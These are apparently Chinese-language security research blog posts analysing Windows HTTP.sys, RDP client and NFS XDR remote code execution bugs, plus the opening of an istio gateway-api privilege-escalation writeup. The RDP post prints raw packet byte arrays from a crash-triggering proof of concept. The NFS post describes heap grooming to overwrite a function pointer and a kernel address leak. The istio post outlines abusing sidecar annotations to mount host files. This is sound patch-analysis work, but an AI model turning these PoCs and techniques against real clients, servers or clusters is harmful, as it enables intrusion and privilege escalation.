说明:

这里需要提出一个特别注意的地方。即该漏洞与http Tailers的联系。

从表面上看,该漏洞的直接原因是新FastTracker对象重新从系统内存申请时,未初始化导致的。这样,Tailers长度是否为空作为FastTracker从系统内存申请的判断条件之一,则直接影响该漏洞是否能触发。但是如果继续分析,会发现,即使没有http Tailers的判断条件,该漏洞仍然是可以被触发的。

具体存在以下逻辑:如FastTracker对象申请流程图中,如果发现该http响应结构中不包含http Tailers,会先查询http内部链表,如有空闲对象,则使用空闲对象。这种情况下,这里仍有可能存在一种特殊情况,即内部链表被耗尽,仍需继续通过另一个UlAllocateFastTrackerToLookaside申请新的内存。不过微软已经注意到这里,同样修补了这里的FastTracker的初始化工作。但这意味着,即使http服务端没有开启支持 Tailers特性,该漏洞仍然是可能被触发的。测试之一,仅仅是增加对服务端的访问频率即可做到这一点。

poc

如该漏洞开始分析之前的描述,该漏洞poc主要为我们自己编写的一个http服务端。该服务端唯一不同的地方,是在http响应包发送流程中,在申请FastTracker之后,在FastTracker中的UriCacheEntry对象初始化之前,使http响应流程失败,并开始销毁FastTracker对象即可。(作为示例,其中一种方式,我们在服务端代码的响应包中,加入了一个超过http限制长度的固定头字符数据使得系统认为该固定头数据无效而丢弃)。

当然,要达到这个目的还有很多方式,还有另外的判断可以选择,。只要在这些响应包结构生成流程中(即UlFastSendHttpResponse),在如:UlGenerateMultipleKnownHeaders,UlGenerateFixedHeaders相应包结构生成的流程中出现判断失败,则该服务器代码就可能触发该漏洞。

然后触发该漏洞的方式只需要在客户端访问该端口并进入到我们服务端对应流程即可。因为我们没有刻意进行内存布局,并不是每次访问都能导致崩溃,这需要未初始化内存刚好符合FastTracker的MDL指针的一个标志判断。如下,满足v118+10的标志位为1.

漏洞触发堆栈如下:

总结:

最后,该http远程代码执行漏洞虽然在类型上仍属于UAF(use after free),但该漏洞实现exp有两个比较重要的前提条件待解决。1是该漏洞的触发原理,需要服务端的http代码中,包含一个流程错误的构造操作使HTTP FastTracker因为意外而提前释放,这需要http服务端开发人员在他的代码中刚好包含这样的一个逻辑。2另外则是该漏洞的利用实现方式,即通过布局HTTP FastTracker的未初始化的内存,通过漏洞触发去操作我们自己伪造的MDL指针结构。为了要执行代码,除了我们可能需要继续分析一种可能的信息泄露方式(如构造读写源语或者利用MDL本身的一些机制),但我们仍有大量的后续代码执行方式上的尝试工作要做。所以,就目前短时间来说,该漏洞被利用的困难程度可能较大。

但是对于那些未启用http Tailers支持的服务器,也需要尽快更新此补丁。

参考:

https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907

CVE-2021-34535 RDP客户端漏洞分析

12 April 2022 at 06:40
By: yyjb

背景:

2021年的八月份微软补丁日,微软公布的补丁中包含两个我们比较感兴趣的两个RCE漏洞中,另一个是cve-2021-34535 RDP客户端的代码执行漏洞。在现代windows系统中,RDP客户端不仅仅被使用在RDP协议中,并且hyper-V中,也似乎保留了部分mstscax.dll功能。因此,该漏洞如果可以在实际环境中构造exp,其威胁是比较严重的。这里我们的目标对该漏洞是否能够在实际中使用进行一个大概的分析判断。并且,因为我们更感兴趣该漏洞在RDP协议下的影响,所以本次分析是基于RDP协议的背景环境。

补丁分析:

通过官方的说明,这是一个存在于mstscax.dll中的漏洞,对比补丁前后代码差异,我们可以比较容易的确认漏洞的基本原理:如下:

这是一个典型的整形溢出漏洞,

另外这里我们还可以注意到,RDP客户端这个代码执行漏洞位置似乎不仅仅只有这一个整形溢出的可能需要判断,还需要验证该sample数据长度是否小于数据包实际携带的sample数据。如果实际的流数据长度小于数据包中长度记录的值,在后续的复制sample数据时,也可能因为读取超出实际数据长度的地址数据而导致崩溃。

构造POC:

根据官方文档的描述,这是这里的CRDPstream::DeliverSample函数功能很可能是属于一个视频重定向动态虚拟频道协议下的功能。所以我们能想到的最好的办法是尝试在复现一个RDP视频重定向的功能场景,然后对CRDPstream::DeliverSample目标函数进行标记,一旦真实的RDP客户端代码能够执行存在漏洞的函数,则我们可以直观的了解到整个漏洞出发路径。这样的另一个好处,是不用了解在漏洞函数触发之前所要做的其他所有工作。不必了解RDP整个初始化过程以及身份验证阶段。

但实际中,我们并不能直接得到这样的结果,经过测试我们仅仅在sever2008中,通过手动启用RDPapp,启用了这种视频重定向功能,但是我们并不能直接定位到漏洞存在的函数。所以,为了更方便的实现这种视频重定向协议的各个功能,最好的办法是需要重建一个RDP服务端,自己根据官方的协议说明文档修改数据。

我们使用了freeRDP中的server代码来实现这一点(在windows下,重构的freeRDP中的server代码可能会有一些兼容性问题,需要修改下个别加载镜像显示驱动的一些处理代码)。

然后回到漏洞触发函数CRDPstream::DeliverSample,我们在文档中找到与其最相关的功能是On Sample消息。通过在freeRDP中的server  drdynvc_server_thread1()动态虚拟通道线程中添加视频重定向虚拟动态通道的响应数据包,并构造这一On Sample数据类型:

我们最终得到了触发漏洞路径的流程(在这个过程中,包含较多繁琐的的猜测尝试过程,这里不赘述)。

但这里有两个地方需要说明一下。

一是关于添加虚拟通道并初始化该通道的过程。官方的说明文档已经非常详细,但有时候,也并不是每一个细节和特例都会会详细举例说明。

为了弄清楚其中的细节。我们可以在服务端交互数据响应处理函数CStubIMMServerData<IMMServerData>::Dispatch_Invoke()入口下断点,关注我们感兴趣的特定具体类型通道的状态标志来理解整个通道的创建,关闭,以及其他工作流程。

二是,关于最终漏洞路径触发的问题。我们能发现我们已经已经能在视频重定向虚拟动态通道中触发一些功能流程,但是并不能进入最终和CRDPstream以及CRDPSource类有关的数据处理函数功能。

这时候,我们可以先关注更上层的CRDPSource这个类的其他函数,如相近功能其他类的DeliverSample功能,或者CRDPSource类本身初始化的功能。找到这类离目标漏洞函数更近的功能,再后续测试流程中不同的参数即能比较容易的找到最终的漏洞触发路径。

我们的测试poc中,其包括的视频重定向动态虚拟通道的功能数据包主要如下:

char str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str2_1[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str2_2[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str2_3[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

///

char str3[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str4[] = "\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"

"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00"

"\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"

"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"

"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";

char str5[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";

char str6[] = "\x40\x07"; //关闭通道

char str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str8[] = "\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str9[] = "\x34\x08" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str10[] = "\x34\x08" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

char str11[] = "\x34\x08" //发送新的呈现对象

"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str13[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str14[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str15[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

///

char str16[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str17_0[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str17[] = "\x34\x07"//add steam

"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"

"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"

"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"

"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\xe0\x00\x00\x00";

char str17_2[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str18[] = "\x34\x07" //发送示例

"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"

"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"

"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"                "\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";

Exp的尝试:

目前,我们可以获取的是一个对堆地址的溢出,并且可溢出数据的长度非常长达到0xFFFF FFFF级别,通常来说,这容易这种溢出很容易造成崩溃,不利用稳定利用。但溢出的内容是绝大部分可控的。在之前的分析调试中,我们可以注意到RDP协议中包含大量的重载虚函数,我们只需要提前布局一些可控的这种大内存堆,获取一个虚函数指针的跳转引用是可能的。

然而常规思路来说,最大的问题是缺少一个应用层可靠的跳转地址,来完成漏洞利用的第二阶段代码执行过程。我们没有一个具体的目标来实跳转。所以,我们需要尝试分析这样的可能:是否可以找到协议RDP客户端另外的功能,能够通过溢出控制其他客户端返回的数据长度来进行信息泄露。

但是通过后续分析现有的RDP通讯流程,发现绝大部分的数据都是从服务端发往客户端,客户端发送返回的大部分都是基于指令或者反馈的消息代码。似乎较难发现可靠的信息泄露方式。

总结:

通过整体的分析,可以看出相对于需要验证登录的服务端,一旦轻易相信服务端可靠性,并且由于RDP本身协议的复杂性,RDP客户端可能存在更广的被攻击面。

后续可能会有其他更多的的客户端漏洞被发现,但是要在最新的windows系统上利用这类RDP客户都安代码执行漏洞,似乎更迫切需要一个较稳定的信息泄露漏洞。

另外,对于该漏洞,我们并没有在hyper-V的具体环境中测试,在这里并不确定除了RDP协议本身之外的交互数据之外,hyper-V中是否一些更容易构造的读写源语来做到客户端可靠的信息泄露。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpev/5b62eacc-689f-4c53-b493-254b8685a5f6

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b

CVE-2021-26432 NFS ONCRPC XDR 驱动协议远程代码执行漏洞验证过程

12 April 2022 at 06:37
By: yyjb

1,背景:

2021年8月份有两个较严重的漏洞需要关注,其中包括NFS ONCRPC XDR Driver 远程代码执行漏洞CVE-2021-26432以及RDP客户端远程代码执行漏洞CVE-2021-34535。

我们的目标是分析这些潜在影响可能较大的漏洞是否容易在实际的场景中被利用。这里,我们分析NFSXDR漏洞CVE-2021-26432。

2,NFSXDR驱动服务简介:

3,补丁分析:

分析补丁我们能比较容易确定漏洞修补的位置。

其中一处修改的地方是在函数OncRpcMsgpDecodeRpcCallVerifier中增加对参数的判断,

另一个则是在OncRpcBufMgrpAllocateDescriptorFromLLLargePoolAllocation函数中申请内存后,立即初始化该内存。

4,构造poc:

直观上来判断,RCE的cve更可能和第一个判断有关,这里我们通过追踪补丁的判断参数a1+296这个值的所有引用,最后在下面的函数中,找到了和它有关的另一个判断位置。

我们这里可以猜测这是一个计算消息头长度的函数,满足漏洞触发条件之一,需要这个长度固定为36。再查阅相关资料,我们能知道其余漏洞的触发条件是如果我们选择了RPC了验证方式为6(RPCSEC_GSS),则RPC中Credentials中的Flavor为1即AUTH_UNIX(而补丁修补后Credentials中的Flavor只能是为6)。然后我们根据协议文档尝试构造数据包,通过后续的分析对比可以明确上面的固定长度对应的是GSS_Token中的数据长度。

构造GSS_Token中的数据长度大于其在此情况下系统默认固定长度36即可触发漏洞路径。

由于对GSS_Token数据长度计算方式判断错误,返回的数据是可能会超过其默认申请的长度,我们可以通过灵活的构造请求包中的GSS_Token数据长度来控制这个漏洞可能会导致的效果:

如果其长度比默认的36长得不是太多(大致0x50左右),返回的数据包中会包含除GSS_Token数据之外其他的结构数据,这是一个可以导致一个信息泄露的效果:其泄露的数据具体来说包含整个对象内存的地址指针。如果我们的GSS_Token数据长度更长,则系统处理这些数据就会溢出掉后面其他所有结构数据直到其他未知内存(超出0x100基本会崩溃)。另外注意GSS_Token数据长度不是无限长度任意构造的,并且由于NFSxdr驱动中对数据接收的一些其他的限制,我们所能构造的溢出长度最长只能大概0x4000左右。

5,利用:

目前,我们已经有一个比较稳定的溢出。通常漏洞利用会尝试溢出一些特定的数据来得到一个指针执行机会。

我们考虑了以下两种方式:

A,通过溢出控制对象大小为0x900(*XdBD,这是一种NFSXDR为内部申请小于0x800的缓冲区对象)的内部链表缓冲区头,控制下一个缓冲区地址。构造写原语,一方面这种内部缓存的对象链表通常不需要校验其头部数据,这样溢出后会比较稳定。另一方面,通过控制这种内部链表结构,我们可以更加精确的控制其中的内存申请释放时机。

但一方面,这个单链表的长度太短了只有4。这种0x900的对象它的生命周期是随着RPC命令一起生成和释放的。一旦我们尝试风水布局,我们很难确定到这个4个对象的位置。另一方面我们不能通过前面提到的信息泄露的方式去知道这几个对象的地址。因为目前的信息泄露触发方式只能是在申请大缓冲区时才能满足漏洞条件的。而这个0x900的对象属于较小内存对象。

B,通过溢出控制OncRpcConnMgrpWskReceiveEvent中的OncRpcWiMgrpSrvWorkItemAlloc申请的内存(长度为0xa00的NLM对象),控制其对象中的引用指针。借助一个独立的信息泄露漏洞(参考本文最后一节),在我们布局的非分页内存中存放rop链来执行代码。

NFS本身是一个无状态的通讯协议,他使用了NLM对象来保证协议的中的资源正常访问读写。这里的NLM对象,有一些特性值得我们注意。

当多个RPC请求短时间传到服务端时,服务端会使用OncRpcConnMgrpWskReceiveEvent中这样的的一个流程去处理这些请求。

我打印了一部分我们关注的对象的生命周期。我们的目标是溢出NLM对象头部保存的OncRpcMsgProcessMessage函数指针。如下图:

该指针会在其释放前在NFS RPC工作线程中被调用:

该对象生命周期如下:

下图中的W-pool对应NLM对象。我们的目的是在NLM释放前调用其内部的OncRpcMsgProcessMessage指针时,覆盖该指针。

NFSXRD中,每一种不同的请求类型对应不同的的RPC请求,我们通过调整RPC请求中类型的位置和顺序能能够按照我们预期的时机触发溢出。,

NLM对象释放前,我们触发了溢出:

具体来说,我们申请一个0x1490的大内存对象(0x1490是我们可控制的申请读写数据的长度数据内存),之后使用NLM对象填充这些0x1490剩余的空洞。然后再释放所有0x1490的内存对象,在此时重新申请0x1490的读写请求包,在这其中一个包结构中触发漏洞。

以期望在所有的NLM对象释放前,溢出某一个NLM对象中的OncRpcMsgProcessMessage指针。

但结果并不能如预期那样,使漏洞刚好溢出到我们期望的目标上,即使是非常低的概率也没有。除此之外,我们还尝试了另一种不同的溢出思路:

第二种方法,大量发出某一种特定的PRC的指定请求(NLM请求),OncRpcConnMgrpWskReceiveEvent处理流程中会大量交替申请0xa00和0x900两种对象,并且这两个对象是成对出现的他们会各自占用0x1000的内存并形成一个较稳定的内存结构。当前面循环的RPC请求部分前面的相邻0xa00,0x900对象释放时,合并出0x2000的空闲内存。之后在还有剩余RPC请求存在的时候,构造漏洞溢出的内存长度为0x2000溢出其中的一个0xa00 NLM对象的头部。

6,总结:

但后续根据大量测试,我们并不能控制NLM对象能在我们漏洞触发时刚好释放。他有自己的时间计时器,其存在时间总也总是是低于我们的预期。并且另外一个关键的地方是,我们所构造的漏洞消息所申请的内存必须大于1K,太小则不能触发漏洞流程。这时我们也不能使用0x900或者0xa00这样本身存在的对象来占位。

我们最大的问题就是我们溢出的目标对象很难在我们控制得时机,布局成我们期望的位置(无论是0xa00 *RSWI还是0x900 *XdBD)。

综上,如果仅仅限制在最新的win10以上的NFSXDR协议内部,要实现利用似乎并不容易。但考虑到目前已知的在其他协议上的一些研究结果,如果是针对一些例如server2008这样较老系统上布置的NFSXDR服务。该漏洞是可能比较容易通过一些其他协议的内存布局方式而成功利用的。

7,新的漏洞:

在分析漏洞的补丁差异之初,我们有留意到补丁中对申请大于0x800的小内存时,才增加了一个初始化内存的操作,但当申请较小内存的时候,并没有对应的补丁代码。

如下:‌

按照思维惯性,我们在后续的分析中,就会带着这样的一个疑问进行后续的分析——当申请较小内存时,是否也会存在同原理的错误?

当我们在后续尝试exp的分析过程中发现,当我们构造数据包中GSSTOKEN数据长度如果不为4的整倍数时,返回的数据中最后几位字节有时会出现一些不确定的数据,(如下面的示例)

这是调整申请内存构造数据包大小时候偶然发现的(申请较小内存),深入分析后,最终的结果证明了我们之前的猜测。

该协议中对于数据包对齐的逻辑中,在复制数据时,对于非4的整数长度字节数据系统会仍然会自动填补其长度为4的倍数。而其返回的数据,就会有额外的不确定内存。其长度为4-x,x为GSSTOKEN除以4的余数。

然后,这样的一个错误能导致怎样的结果呢?

为了泄漏更长的数据,我们选择 x=1。 在下面的例子中,选择数据长度为 0x23d=0x23c+1;

我们可以通过增加4 的字节(或 4 的倍数)来设置读取请求数据的长度,以改变要泄露的其他感兴趣的不同位置的数据。 如下:0x241=0x23d+4。

什么这里的示例使用 0x23d 的读取长度?

这是因为当我们选择用较小的内存读取数据时,nfsxdr 默认申请内存的大小为 0x900。 在申请这个大小的内存时,很容易使用其他刚刚释放的大小相同的对象的内存。 在我们调试的环境win10中,Thread内核对象的大小也恰好是接近0x900。 如果是这样的话,这里选择读取 0x23d 长度的数据很可能对应到Thread 对象中存储的函数指针地址 0xfffff806 37efe930。 最后我们可以得到0xfffff8XX 37efe9XX这样的信息。 但是,长度为 8 字节的地址仍有 2 个字节无法确认。

通常来说,这样的信息泄露在现代windows系统上的作用似乎仍然受到地址随机化的限制,对于“37efe930“低位的“30”,一般来说有时我们是可能猜测的,但我们不能确认0xfffff806中的“06”。然而在一些过时的windows系统如win7,这样的信息泄露,足够取得一个内核指针信息。

所以在调用OncRpcBufMgrpAllocateDescriptorFromLLInlineBuffer时这里似乎可能仍然需要初始化其内存。

此错误已经在2月份修补为cve-2022-21993。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432

利用 gateway-api 攻击 kubernetes

17 March 2022 at 11:40
By: lazydog

前言

前几天注意到了 istio 官方公告,有一个利用 kubernetes gateway api 仅有 CREATE 权限来完成特权提升的漏洞(CVE-2022-21701),看公告、diff patch 也没看出什么名堂来,跟着自己感觉猜测了一下利用方法,实际跟下来发现涉及到了 sidecar 注入原理及 depolyments 传递注解的特性,个人觉得还是比较有趣的所以记录一下,不过有个插曲,复现后发现这条利用链可以在已经修复的版本上利用,于是和 istio security 团队进行了“友好”的沟通,最终发现小丑竟是我自己,自己yy的利用只是官方文档一笔带过的一个 feature。

所以通篇权当一个 controller 的攻击面,还有一些好玩的特性科普文看好了

istio sidecar injection

istio 可以通过用 namespace 打 label 的方法,自动给对应的 namespace 中运行的 pod 注入 sidecar 容器,而另一种方法则是在 pod 的 annotations 中手动的增加 sidecar.istio.io/inject: "true" 注解,当然还可以借助 istioctl kube-inject 对 yaml 手动进行注入,前两个功能都要归功于 kubernetes 动态准入控制的设计,它允许用户在不同的阶段对提交上来的资源进行修改和审查。

动态准入控制流程:

webhook

istiod 创建了 MutatingWebhook,并且一般对 namespace label 为 istio-injection: enabledsidecar.istio.io/inject != flase 的 pod 资源创建请求做 Mutaing webhook.

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: istio-sidecar-injector
webhooks:
[...]
  namespaceSelector:
    matchExpressions:
    - key: istio-injection
      operator: In
      values:
      - enabled
  objectSelector:
    matchExpressions:
    - key: sidecar.istio.io/inject
      operator: NotIn
      values:
      - "false"
[...]
  rules:
  - apiGroups:
    - ""
    apiVersions:
    - v1
    operations:
    - CREATE
    resources:
    - pods
    scope: '*'
  sideEffects: None
  timeoutSeconds: 10

当我们提交一个创建符合规定的 pod 资源的操作时,istiod webhook 将会收到来自 k8s 动态准入控制器的请求,请求包含了 AdmissionReview 的资源,istiod 会对其中的 pod 资源的注解进行解析,在注入 sidecar 之前会使用 injectRequired (pkg/kube/inject/inject.go:169)函数对 pod 是否符合非 hostNetwork 、是否在默认忽略的 namespace 列表中还有是否在 annotation/label 中带有 sidecar.istio.io/inject 注解,如果 sidecar.istio.io/injecttrue 则注入 sidecar,另外一提 namepsace label 也能注入是因为 InjectionPolicy 默认为 Enabled

inject_code

了解完上面的条件后,接着分析注入 sidecar 具体操作的代码,具体实现位于 RunTemplate (pkg/kube/inject/inject.go:283)函数,前面的一些操作是合并 config 、做一些检查确保注解的规范及精简 pod struct,注意力放到位于templatePod 后的代码,利用 selectTemplates 函数提取出需要渲染的 templateNames 再经过 parseTemplate 进行渲染,详细的函数代码请看下方

template_render

获取注解 inject.istio.io/templates 中的值作为 templateName , params.pod.Annotations 数据类型是 map[string]string ,一般常见值为 sidecar 或者 gateway

func selectTemplates(params InjectionParameters) []string {
    // annotation.InjectTemplates.Name = inject.istio.io/templates
    if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {
        names := []string{}
        for _, tmplName := range strings.Split(a, ",") {
            name := strings.TrimSpace(tmplName)
            names = append(names, name)
        }
        return resolveAliases(params, names)
    }
    return resolveAliases(params, params.defaultTemplate)
}

使用 go template 模块来完成 yaml 文件的渲染

func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {
    var tmpl bytes.Buffer
    temp := template.New("inject")
    t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)
    if err != nil {
        log.Infof("Failed to parse template: %v %v\n", err, tmplStr)
        return bytes.Buffer{}, err
    }
    if err := t.Execute(&tmpl, &data); err != nil {
        log.Infof("Invalid template: %v %v\n", err, tmplStr)
        return bytes.Buffer{}, err
    }

    return tmpl, nil
}

那么这个 tmplStr 到底来自何方呢,实际上 istio 在初始化时将其存储在 configmap 中,我们可以通过运行 kubectl describe cm -n istio-system istio-sidecar-injector 来获取模版文件,sidecar 的模版有一些点非常值得注意,很多敏感值都是取自 annotation

template_1

template_2

有经验的研究者看到下面 userVolume 就可以猜到大概通过什么操作来完成攻击了。

sidecar.istio.io/proxyImage
sidecar.istio.io/userVolume
sidecar.istio.io/userVolumeMount

gateway deployment controller 注解传递

分析官方公告里的缓解建议,其中有一条就是将 PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER 环境变量置为 false ,然后结合另一条建议删除 gateways.gateway.networking.k8s.io 的 crd,所以大概率漏洞和创建 gateways 资源有关,翻了翻官方手册注意到了这句话如下图所示,Gateway 资源的注解将会传递到 ServiceDeployment 资源上。

istio_docs

有了传递这个细节,我们就能对得上漏洞利用的条件了,需要具备 gateways.gateway.networking.k8s.io 资源的 CREATE 权限,接着我们来分析一下 gateway 是如何传递 annotations 和 labels 的,其实大概也能想到还是利用 go template 对内置的 template 进行渲染,直接分析 configureIstioGateway 函数(pilot/pkg/config/kube/gateway/deploymentcontroller.go) ,其主要功能就是把 gateway 需要创建的 ServiceDeployment 按照 embed.FS 中的模版进行一个渲染,模版文件可以在(pilot/pkg/config/kube/gateway/templates/deployment.yaml)找到,分析模版文件也可以看到 template 中的 annotations 也是从上层的获取传递过来的注解。toYamlMap 可以将 maps 进行合并,注意观察 (strdict "inject.istio.io/templates" "gateway") 位于 .Annotations 前,所以这个点我们可以通过控制 gateway 的注解来覆盖 templates 值选择渲染的模版。

apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    {{ toYamlMap .Annotations | nindent 4 }}
  labels:
    {{ toYamlMap .Labels
      (strdict "gateway.istio.io/managed" "istio.io-gateway-controller")
      | nindent 4}}
  name: {{.Name}}
  namespace: {{.Namespace}}
  ownerReferences:
  - apiVersion: gateway.networking.k8s.io/v1alpha2
    kind: Gateway
    name: {{.Name}}
    uid: {{.UID}}
spec:
  selector:
    matchLabels:
      istio.io/gateway-name: {{.Name}}
  template:
    metadata:
      annotations:
        {{ toYamlMap
          (strdict "inject.istio.io/templates" "gateway")
          .Annotations
          | nindent 8}}
      labels:
        {{ toYamlMap
          (strdict "sidecar.istio.io/inject" "true")
          (strdict "istio.io/gateway-name" .Name)
          .Labels
          | nindent 8}}

漏洞利用

掌握了漏洞利用链路上的细节,我们就可以理出整个思路,创建精心构造过注解的 Gateway 资源及恶意的 proxyv2 镜像,“迷惑”控制器创建非预期的 pod 完成对 Host 主机上的敏感文件进行访问, 如 docker unix socket。

漏洞环境:

istio v1.12.2
kubernetes v1.20.14
kubernetes gateway-api v0.4.0
用下面的命令创建一个 write-only 的 角色,并初始化 istio

curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.2 TARGET_ARCH=x86_64 sh -
istioctl x precheck
istioctl install --set profile=demo -y
kubectl create namespace istio-ingress
kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
  resources: ["gateways"]
  verbs: ["create"]
---
